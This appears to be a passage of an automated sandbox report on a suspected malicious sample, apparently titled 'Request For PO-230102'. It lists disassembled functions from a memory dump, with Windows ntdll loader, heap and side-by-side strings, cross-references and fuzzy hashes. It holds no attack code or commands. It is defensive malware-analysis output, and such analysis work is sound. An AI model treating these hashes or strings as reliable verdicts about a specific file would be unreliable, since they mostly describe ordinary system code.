                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Invalid debug info address of this critical section, xrefs: 016154B6
                                                                                                                                                                                                            • 8, xrefs: 016152E3
                                                                                                                                                                                                            • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 0161540A, 01615496, 01615519
                                                                                                                                                                                                            • Critical section address, xrefs: 01615425, 016154BC, 01615534
                                                                                                                                                                                                            • Critical section address., xrefs: 01615502
                                                                                                                                                                                                            • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 016154E2
                                                                                                                                                                                                            • undeleted critical section in freed memory, xrefs: 0161542B
                                                                                                                                                                                                            • Critical section debug info address, xrefs: 0161541F, 0161552E
                                                                                                                                                                                                            • Thread is in a state in which it cannot own a critical section, xrefs: 01615543
                                                                                                                                                                                                            • Address of the debug info found in the active list., xrefs: 016154AE, 016154FA
                                                                                                                                                                                                            • corrupted critical section, xrefs: 016154C2
                                                                                                                                                                                                            • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 016154CE
                                                                                                                                                                                                            • Thread identifier, xrefs: 0161553A
                                                                                                                                                                                                            • double initialized or corrupted critical section, xrefs: 01615508
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                                                                                                                                                                                            • API String ID: 0-2368682639
                                                                                                                                                                                                            • Opcode ID: 6018b1d25151b7ad2655095ecce6a11baab3cc0a0c07e671c778807a3530f4fa
                                                                                                                                                                                                            • Instruction ID: 985bedd9f52f0cc5a887934489c888c49bb6a41c086734a0f411b6d1cbcfd4ee
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6018b1d25151b7ad2655095ecce6a11baab3cc0a0c07e671c778807a3530f4fa
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F181BBB1A40349AFDB20CF99CC45BAEBBB9FB89714F144119F505BB290D3B1A941CBA0
                                                                                                                                                                                                            Function 015D29F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 01612624
                                                                                                                                                                                                            • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 01612506
                                                                                                                                                                                                            • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 01612412
                                                                                                                                                                                                            • RtlpResolveAssemblyStorageMapEntry, xrefs: 0161261F
                                                                                                                                                                                                            • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 016125EB
                                                                                                                                                                                                            • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 016122E4
                                                                                                                                                                                                            • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 016124C0
                                                                                                                                                                                                            • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 01612498
                                                                                                                                                                                                            • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 01612409
                                                                                                                                                                                                            • @, xrefs: 0161259B
                                                                                                                                                                                                            • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 01612602
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                                                                                                                                                                                            • API String ID: 0-4009184096
                                                                                                                                                                                                            • Opcode ID: 1c2666d32e3e9e1db2c81e95812008e9dd5609ba8952fb054d279ed9ed715521
                                                                                                                                                                                                            • Instruction ID: 47a9b01a5c3cca8b5d58c993b1bb899b1b5b1a0d90e990f0a9b3828cfabc820d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1c2666d32e3e9e1db2c81e95812008e9dd5609ba8952fb054d279ed9ed715521
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 370280B1D002299FDB31DB58CC80BDAB7B8BF54704F1445DAE609AB251EB709E84CF99
                                                                                                                                                                                                            Function 01648B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                                                                                                                                                                                            • API String ID: 0-2515994595
                                                                                                                                                                                                            • Opcode ID: d153f2483a17a54487fd3f27d46ab0b460fa7290676298d6218de4b2db4b17f6
                                                                                                                                                                                                            • Instruction ID: 56708fa1dc6bf703efdb967a54f14550c43050184bb61aaff49820cbf72f722c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d153f2483a17a54487fd3f27d46ab0b460fa7290676298d6218de4b2db4b17f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1551CE725053029BC729DF58EC49BABBBECFF98240F14492DE999CB241E770D604CB92
                                                                                                                                                                                                            Function 01650274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                                                                                                                                                                            • API String ID: 0-1700792311
                                                                                                                                                                                                            • Opcode ID: 9c60ca51f4a1cf82f923e619a4b0838a40d9131111fdc2a918567021cc07b33c
                                                                                                                                                                                                            • Instruction ID: b3b96be5dcf87c3223eb52e312e8296c5b30a593901a338dc67e237d6c1d6599
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9c60ca51f4a1cf82f923e619a4b0838a40d9131111fdc2a918567021cc07b33c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9CD1DB35610686DFDB62DF68D841AAEBBF1FF8A714F088049F8459B362C734D981CB15
                                                                                                                                                                                                            Function 016289B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • VerifierFlags, xrefs: 01628C50
                                                                                                                                                                                                            • VerifierDlls, xrefs: 01628CBD
                                                                                                                                                                                                            • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01628A3D
                                                                                                                                                                                                            • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01628A67
                                                                                                                                                                                                            • HandleTraces, xrefs: 01628C8F
                                                                                                                                                                                                            • AVRF: -*- final list of providers -*- , xrefs: 01628B8F
                                                                                                                                                                                                            • VerifierDebug, xrefs: 01628CA5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
                                                                                                                                                                                                            • API String ID: 0-3223716464
                                                                                                                                                                                                            • Opcode ID: 9f4fdac2b4f0372d1213f8a4a9b6b55ec0ad5fb5d5eadec2fc8994d8f96b9e95
                                                                                                                                                                                                            • Instruction ID: ab2dd7338ba6b28372543c29a27f83e49e304a4aeab05f28515caeb665b7bb7f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9f4fdac2b4f0372d1213f8a4a9b6b55ec0ad5fb5d5eadec2fc8994d8f96b9e95
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CC910472605B229FE722EF68CC80B6A77ECBB94B14F05489DFA416F240C7309815CF95
                                                                                                                                                                                                            Function 015AEA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                                                                                                                                                                                            • API String ID: 0-1109411897
                                                                                                                                                                                                            • Opcode ID: 4f0a5bef1040519e11cf3df22c6114d3d3def4191cd5b3bebe7d03ae2452e536
                                                                                                                                                                                                            • Instruction ID: 46a51fc584e855eae9411eab9a4e6a3d461bf2a2f32b04e367fe42104f6eb9f3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4f0a5bef1040519e11cf3df22c6114d3d3def4191cd5b3bebe7d03ae2452e536
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9FA22970A4562A8BDB79DF18CC987AEBBB5FF45304F5442DAD509AB290DB309E81CF40
                                                                                                                                                                                                            Function 015D63FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-792281065
                                                                                                                                                                                                            • Opcode ID: 524dfcf87bf074b174e50864e49145b4f68e57fe59ac6ce5bed6f62fb0717502
                                                                                                                                                                                                            • Instruction ID: e44b393a8f4105faa941c4cb510c3e65def4b5e68a39e4dd042da2a949d0415b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 524dfcf87bf074b174e50864e49145b4f68e57fe59ac6ce5bed6f62fb0717502
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 47913871A003169BEB35DF6DDC85BAE3BA5BF40B24F18412DD9016F389DB709842CB94
                                                                                                                                                                                                            Function 0159645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 015F9A2A
                                                                                                                                                                                                            • LdrpInitShimEngine, xrefs: 015F99F4, 015F9A07, 015F9A30
                                                                                                                                                                                                            • apphelp.dll, xrefs: 01596496
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 015F9A11, 015F9A3A
                                                                                                                                                                                                            • Getting the shim engine exports failed with status 0x%08lx, xrefs: 015F9A01
                                                                                                                                                                                                            • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 015F99ED
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-204845295
                                                                                                                                                                                                            • Opcode ID: 33d10fbdf67113995580cde91222cf73708464d8fa13d96e583a6256760ee810
                                                                                                                                                                                                            • Instruction ID: cfa50910c454546ee706fa4fe1afa5d6ead70b594518d36c3c714bc1039663e2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 33d10fbdf67113995580cde91222cf73708464d8fa13d96e583a6256760ee810
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 335180712087059FEB25DF24DC81BABBBE9FF84648F44091DF6859F260D670E948CB92
                                                                                                                                                                                                            Function 015D2674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 016121BF
                                                                                                                                                                                                            • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 0161219F
                                                                                                                                                                                                            • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 01612180
                                                                                                                                                                                                            • RtlGetAssemblyStorageRoot, xrefs: 01612160, 0161219A, 016121BA
                                                                                                                                                                                                            • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 01612178
                                                                                                                                                                                                            • SXS: %s() passed the empty activation context, xrefs: 01612165
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                                                                                                                                                                                            • API String ID: 0-861424205
                                                                                                                                                                                                            • Opcode ID: 3c3c8f1255436e58271d7522146e9fa3e46bafe69fafa78baeb87b3fb55577a3
                                                                                                                                                                                                            • Instruction ID: 9051285ce87ba686c1f5712cb5894ec2ec3a24ece4aa4623b17ea143850a6db6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3c3c8f1255436e58271d7522146e9fa3e46bafe69fafa78baeb87b3fb55577a3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E9313536F002217BE731DA998C82F5A7A79FF65A40F29409DFB04BF204D7709A01CBA0
                                                                                                                                                                                                            Function 015DC6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • LdrpInitializeImportRedirection, xrefs: 01618177, 016181EB
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 015DC6C3
                                                                                                                                                                                                            • Unable to build import redirection Table, Status = 0x%x, xrefs: 016181E5
                                                                                                                                                                                                            • LdrpInitializeProcess, xrefs: 015DC6C4
                                                                                                                                                                                                            • Loading import redirection DLL: '%wZ', xrefs: 01618170
                                                                                                                                                                                                            • minkernel\ntdll\ldrredirect.c, xrefs: 01618181, 016181F5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                                                                                                                                                                                            • API String ID: 0-475462383
                                                                                                                                                                                                            • Opcode ID: bd777a779e1236b6779731eacd62f2fbd456d75ccf0245ec6dc2c3bf982a731c
                                                                                                                                                                                                            • Instruction ID: 4d2b8de06c89927004de29cc32d6d61a9f9958929a358fc6f6274c248ac02b3e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bd777a779e1236b6779731eacd62f2fbd456d75ccf0245ec6dc2c3bf982a731c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1031CE726447529FC224EF6CDD86E2A7BE9BB94A20F04055CF945AF391E660EC04C7A2
                                                                                                                                                                                                            Function 015E096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 015E2DF0: LdrInitializeThunk.NTDLL ref: 015E2DFA
                                                                                                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 015E0BA3
                                                                                                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 015E0BB6
                                                                                                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 015E0D60
                                                                                                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 015E0D74
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1404860816-0
                                                                                                                                                                                                            • Opcode ID: fb64568e1866b5cd3d2ae65221675fb209b5b938173a5d378c94b8b9d6a3414d
                                                                                                                                                                                                            • Instruction ID: 3d536ab001ed9443aeb783f88d6b6cf37ffd75c2e57e9dc2e5ed4b96e5e8374d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fb64568e1866b5cd3d2ae65221675fb209b5b938173a5d378c94b8b9d6a3414d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B9427B71A00716DFDB25CF28C894BAAB7F5FF44304F0485A9E989EB245D770AA85CF60
                                                                                                                                                                                                            Function 015AA3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                                                                                                                                                                            • API String ID: 0-379654539
                                                                                                                                                                                                            • Opcode ID: 36fe068063a2b9555505e2fa2149f07b27844c952971311730bb2663e0d66727
                                                                                                                                                                                                            • Instruction ID: 79865e975e0248c7da5083373ddda810ca3b69e3f3732b466848dad2097ae0b3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 36fe068063a2b9555505e2fa2149f07b27844c952971311730bb2663e0d66727
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F8C19A705483828FDB26CF58C444B6EBBE4BF88704F44886EF9958B391E734C949CB56
                                                                                                                                                                                                            Function 015D8402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 015D8421
                                                                                                                                                                                                            • @, xrefs: 015D8591
                                                                                                                                                                                                            • LdrpInitializeProcess, xrefs: 015D8422
                                                                                                                                                                                                            • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 015D855E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-1918872054
                                                                                                                                                                                                            • Opcode ID: bcb40d4c9584ebb7ad5a3677efa4261dea0b966195fff1666dda662bd2961d06
                                                                                                                                                                                                            • Instruction ID: fc847c9a09a9655ca4059d69a918008a1015da5b3c4d0e050a81b75973170d5e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bcb40d4c9584ebb7ad5a3677efa4261dea0b966195fff1666dda662bd2961d06
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 43918D71908346AFD722DF69CC81EAFBAECBF84744F44092EF6859A155E370D904CB62
                                                                                                                                                                                                            Function 015D273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 016121D9, 016122B1
                                                                                                                                                                                                            • .Local, xrefs: 015D28D8
                                                                                                                                                                                                            • SXS: %s() passed the empty activation context, xrefs: 016121DE
                                                                                                                                                                                                            • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 016122B6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                                                                                                                                                                                            • API String ID: 0-1239276146
                                                                                                                                                                                                            • Opcode ID: 695226ebd490745059eab16bb11d544d0d6c1621083d9400c760276f60e501eb
                                                                                                                                                                                                            • Instruction ID: 17c3fdf4364b5b3325387f7d12a03db770a253e373e5c13f50019e89384444df
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 695226ebd490745059eab16bb11d544d0d6c1621083d9400c760276f60e501eb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0AA1BB3190122A9BDB35CF68DC88BA9B7B1BF58354F2445EAD908AB355D7309EC1CF90
                                                                                                                                                                                                            Function 015D4AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 01613437
                                                                                                                                                                                                            • SXS: %s() called with invalid flags 0x%08lx, xrefs: 0161342A
                                                                                                                                                                                                            • RtlDeactivateActivationContext, xrefs: 01613425, 01613432, 01613451
                                                                                                                                                                                                            • SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 01613456
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
                                                                                                                                                                                                            • API String ID: 0-1245972979
                                                                                                                                                                                                            • Opcode ID: 7aaaaafe0e2d057b2c8689a648979ba43fcec2387bd8811e9b14dfb389c175d2
                                                                                                                                                                                                            • Instruction ID: f5a3875438e9abaae3c5cc4e7968a23469c777ccd225d76eee40f468a59f0112
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7aaaaafe0e2d057b2c8689a648979ba43fcec2387bd8811e9b14dfb389c175d2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 936102326516129BDB32CF1CCC81B2AB7E5BF90B20F188529E9969F754D730E801CB91
                                                                                                                                                                                                            Function 015A64AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 016010AE
                                                                                                                                                                                                            • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 0160106B
                                                                                                                                                                                                            • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 01600FE5
                                                                                                                                                                                                            • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 01601028
                                                                                                                                                                                                            Memory Dump Source
